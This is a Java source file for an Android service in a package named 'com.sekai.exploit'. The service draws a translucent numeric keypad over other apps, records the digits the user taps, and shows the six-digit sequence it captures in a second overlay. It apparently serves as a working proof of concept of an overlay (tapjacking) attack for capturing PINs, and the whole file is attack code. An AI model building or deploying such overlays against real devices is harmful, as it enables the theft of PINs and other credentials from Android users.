Overlay.java

package com.sekai.exploit;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.PixelFormat;
import android.net.Uri;
import android.os.Build;
import android.os.IBinder;
import android.provider.Settings;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;

public class Overlay extends Service implements View.OnTouchListener, View.OnClickListener {

    WindowManager w;
    View overlayView;
    int count = 0;
    private TextView textView;
    private StringBuilder sb = new StringBuilder();

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onClick(View view) {}

    @Override
    public boolean onTouch(View view, MotionEvent motionEvent) {
        return true;
    }

    @RequiresApi(api = Build.VERSION_CODES.O)
    @Override
    public void onCreate() {
        super.onCreate();

        if (!Settings.canDrawOverlays(this)) {
            Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
            Toast.makeText(this, "Please grant overlay permission", Toast.LENGTH_LONG).show();
            stopSelf();
            return;
        }

        w = (WindowManager) getSystemService(Context.WINDOW_SERVICE);

        overlayView = LayoutInflater.from(this).inflate(R.layout.custom, null);

        overlayView.setOnTouchListener(this);

        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
                WindowManager.LayoutParams.WRAP_CONTENT,
                WindowManager.LayoutParams.WRAP_CONTENT,
                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
                PixelFormat.TRANSLUCENT
        );

        Button btn1 = overlayView.findViewById(R.id.btn1);
        Button btn2 = overlayView.findViewById(R.id.btn2);
        Button btn3 = overlayView.findViewById(R.id.btn3);
        Button btn4 = overlayView.findViewById(R.id.btn4);
        Button btn5 = overlayView.findViewById(R.id.btn5);
        Button btn6 = overlayView.findViewById(R.id.btn6);
        Button btn7 = overlayView.findViewById(R.id.btn7);
        Button btn8 = overlayView.findViewById(R.id.btn8);
        Button btn9 = overlayView.findViewById(R.id.btn9);
        Button btn0 = overlayView.findViewById(R.id.btn0);
        Button btnClear = overlayView.findViewById(R.id.btn_clear);

        btn1.setOnClickListener(this);
        btn2.setOnClickListener(this);
        btn3.setOnClickListener(this);
        btn4.setOnClickListener(this);
        btn5.setOnClickListener(this);
        btn6.setOnClickListener(this);
        btn7.setOnClickListener(this);
        btn8.setOnClickListener(this);
        btn9.setOnClickListener(this);
        btn0.setOnClickListener(this);
        btnClear.setOnClickListener(this);

        textView = new TextView(this);
        textView.setTextColor(Color.WHITE);
        textView.setTextSize(18);
        textView.setBackgroundColor(Color.BLACK);
        textView.setPadding(20, 20, 20, 20);
        textView.setGravity(Gravity.CENTER);

        // Initialize the LayoutParams for the TextView
        WindowManager.LayoutParams textViewParams = new WindowManager.LayoutParams(
                WindowManager.LayoutParams.WRAP_CONTENT,
                WindowManager.LayoutParams.WRAP_CONTENT,
                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
                PixelFormat.TRANSLUCENT
        );

        textViewParams.gravity = Gravity.TOP | Gravity.CENTER_HORIZONTAL;

        btn1.setOnClickListener(view -> handleButtonClick("1", textViewParams));
        btn2.setOnClickListener(view -> handleButtonClick("2", textViewParams));
        btn3.setOnClickListener(view -> handleButtonClick("3", textViewParams));
        btn4.setOnClickListener(view -> handleButtonClick("4", textViewParams));
        btn5.setOnClickListener(view -> handleButtonClick("5", textViewParams));
        btn6.setOnClickListener(view -> handleButtonClick("6", textViewParams));
        btn7.setOnClickListener(view -> handleButtonClick("7", textViewParams));
        btn8.setOnClickListener(view -> handleButtonClick("8", textViewParams));
        btn9.setOnClickListener(view -> handleButtonClick("9", textViewParams));
        btn0.setOnClickListener(view -> handleButtonClick("0", textViewParams));
        btnClear.setOnClickListener(view -> handleButtonClick("C", textViewParams));

        w.addView(overlayView, params);
    }

    private void handleButtonClick(String input, WindowManager.LayoutParams textViewParams) {
        sb.append(input);
        count++;
        if (count == 6) {
            textView.setText(sb.toString());
            w.addView(textView, textViewParams);
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        if (overlayView != null) {
            w.removeView(overlayView);
        }
        if (textView != null) {
            w.removeView(textView);
        }
    }
}